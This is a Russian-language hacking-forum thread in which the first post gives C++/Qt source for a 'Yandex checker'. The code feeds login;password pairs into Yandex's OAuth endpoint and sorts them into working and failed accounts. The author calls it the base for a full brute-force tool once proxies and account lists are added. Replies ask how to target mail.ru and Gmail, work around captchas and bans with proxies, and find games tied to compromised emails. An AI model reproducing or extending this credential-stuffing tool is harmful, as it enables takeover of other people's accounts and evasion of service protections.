24.01.2012, 22:43
#1
Разведчик
Регистрация: 16.01.2012
Сообщений: 11
Популярность: -210
Сказал(а) спасибо: 12
Поблагодарили 11 раз(а) в 9 сообщениях
[C++/Qt] Пишем простейший Yandex чекер
Чекер будет работать через Яндекс.API
[
Ссылки могут видеть только зарегистрированные пользователи. ]
Для начала подключаем поддержку сети;
Пропишем в .pro файле:
PHP код:
QT += core gui network
Пишем в заголовочном файле нашего проекта:
PHP код:
private:
Ui :: MainWindow * ui ;
QNetworkAccessManager manager ;
QNetworkReply * reply ;
QUrl apiUrl ;
QByteArray requestString ;
QString login ;
QString passwd ;
private slots :
void on_pushButton_clicked ();
void getToken ();
void parseToken ();[/ CODE ] Теперь две самые основные функции .
[ CODE ] void MainWindow :: getToken ()
{
QRegExp rx ( "(.+);(.+)" );
rx . indexIn ( ui -> lineEdit -> text ()); //ищем логин и пароль
login = rx . cap ( 1 ); //логин
passwd = rx . cap ( 2 ); //пароль
QString loginstr = "&username=" + login ;
QString passwdstr = "&password=" + passwd ;
//OAuth
apiUrl = "https://oauth.yandex.ru/token" ;
requestString . append ( "grant_type=password" );
requestString . append ( "&client_id=YOU_API_ID" );
requestString . append ( loginstr . toLatin1 ());
requestString . append ( passwdstr . toLatin1 ());
QNetworkRequest request ( apiUrl );
reply = manager . post ( request , requestString );
connect ( reply , SIGNAL ( finished ()), this , SLOT ( parseToken ())); //при завершении ответа запускаем функцию parseToken()
}
PHP код:
void MainWindow :: parseToken ()
{
//Parse TOKEN
QString source ;
source . append ( QString :: fromLocal8Bit ( reply -> readAll ()));
QRegExp rx ( "([a-z0-9]{31,32})" );
rx . indexIn ( source );
if ( rx . cap ( 0 ) == "" )
{
ui -> plainTextEdit_2 -> appendPlainText ( login + ";" + passwd ); //если токен не найден, то пишем акк в бэды
}
else
{
ui -> plainTextEdit -> appendPlainText ( login + ";" + passwd ); //пишем в гуды
//также можно выводить и токен
//ui.plainTextEdit.appendPlainText("[TOKEN] : " + rx.cap(0));
}
И, конечно, вызов:
PHP код:
void MainWindow :: on_pushButton_clicked ()
{
getToken ();
}
В итоге получил бан от Яндекс.Апi
Для полноценного чекера/брутфорса осталось подключить подгрузку проксиков и акков
Сорцы:
Ya_Checker.zip
________________
Сделай красиво - поставь спасибо
13.02.2012, 00:44
#2
Капитан
Регистрация: 03.10.2011
Сообщений: 267
Популярность: 41677
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 113
Поблагодарили 476 раз(а) в 329 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
HAHo_tech , что именно изменять ,что бы чекать mail.ru/gmail.ru ?
13.02.2012, 15:34
#3
Главнокомандующий
Регистрация: 17.11.2009
Сообщений: 1,062
Популярность: 64819
Золото Zhyk.Ru: 170
Сказал(а) спасибо: 1,456
Поблагодарили 2,062 раз(а) в 822 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
cheLink , gmail ты не прочекаешь, там после 1-3 раз капча
________________
Полные взломы игрулек VK:
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). | Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). | Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). | Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). (?fix) | [HOT-NEW ] Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
2 пользователя(ей) сказали cпасибо:
13.02.2012, 17:10
#4
Рыцарь-лейтенант
Регистрация: 18.07.2011
Сообщений: 430
Популярность: 38472
Золото Zhyk.Ru: 30
Сказал(а) спасибо: 456
Поблагодарили 698 раз(а) в 424 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
13.02.2012, 17:11
#5
Капитан
Регистрация: 03.10.2011
Сообщений: 267
Популярность: 41677
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 113
Поблагодарили 476 раз(а) в 329 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
13.02.2012, 21:09
#6
Разведчик
Регистрация: 26.12.2011
Сообщений: 12
Популярность: -68
Сказал(а) спасибо: 175
Поблагодарили 205 раз(а) в 144 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
14.02.2012, 00:16
#7
Капитан
Регистрация: 03.10.2011
Сообщений: 267
Популярность: 41677
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 113
Поблагодарили 476 раз(а) в 329 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
21.02.2012, 23:42
#8
Пехотинец
Регистрация: 23.12.2011
Сообщений: 91
Популярность: 71
Сказал(а) спасибо: 23
Поблагодарили 18 раз(а) в 15 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
________________
Помог, жми на спасибо!
Неможеш, на плюсик около авки!
Неполучается, ну что поделать Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
18.05.2012, 22:19
#9
Разведчик
Регистрация: 18.05.2012
Сообщений: 5
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
Re: [C++/Qt] Пишем простейший Yandex чекер
Как я знаю, гуглу пофиг на прокси, так же как и на жуке, стоит доступ не только по ip , но и по системным настройкам .
21.05.2012, 19:21
#10
Сержант
Регистрация: 23.07.2010
Сообщений: 142
Популярность: 2268
Сказал(а) спасибо: 124
Поблагодарили 486 раз(а) в 236 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
Сделал через прокси но
все равно кидает все акки в ERROR...
не bad не good не появляются
22.05.2012, 21:28
#11
Разведчик
Регистрация: 18.05.2012
Сообщений: 5
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
Re: [C++/Qt] Пишем простейший Yandex чекер
19.06.2012, 03:10
#12
Командор
Регистрация: 27.09.2011
Сообщений: 832
Популярность: 48460
Золото Zhyk.Ru: 3
Сказал(а) спасибо: 584
Поблагодарили 1,572 раз(а) в 783 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
Насколько я знаю смысла от чекера для яндекса без прокси нет...
Кто переделал чек с проксями,
скиньте плз исходник в тему.
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
[Ссылки могут видеть только зарегистрированные пользователи. ]
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
26.06.2012, 00:13
#13
Разведчик
Регистрация: 28.03.2011
Сообщений: 15
Популярность: 16
Сказал(а) спасибо: 14
Поблагодарили 4 раз(а) в 3 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
Что именно нужно добавить в этот чекер чтобы он поддерживал работу с проси?
И не подскажите случайно как "разложить" обычный чекер на программный код или это не нельзя?
ТС если код простейший есть выложи в первый пост, если захочешь естественно ...
Заранее спасибо.
19.08.2012, 00:35
#14
Сержант
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
api хорошо, но не проще использовать такую простую авторизацию как:
Прикрутить куки и все.
Последний раз редактировалось VeTaL_UA; 19.08.2012 в 00:57 .
Причина: цитировать шапку не ок
02.09.2012, 02:36
#15
Разведчик
Регистрация: 04.07.2012
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 1
Поблагодарили 0 раз(а) в 0 сообщениях
Re: [C++/Qt] Пишем простейший Yandex чекер
а можно сразу сделать чтобы узнать есть ли игры от его мыла?
Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Похожие темы
Тема
Автор
Раздел
Ответов
Последнее сообщение
[Уязвимость] Простейший дюп
FFUUU
Общение и обсуждение Perfect World
1
07.04.2011 22:51
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 14:19 .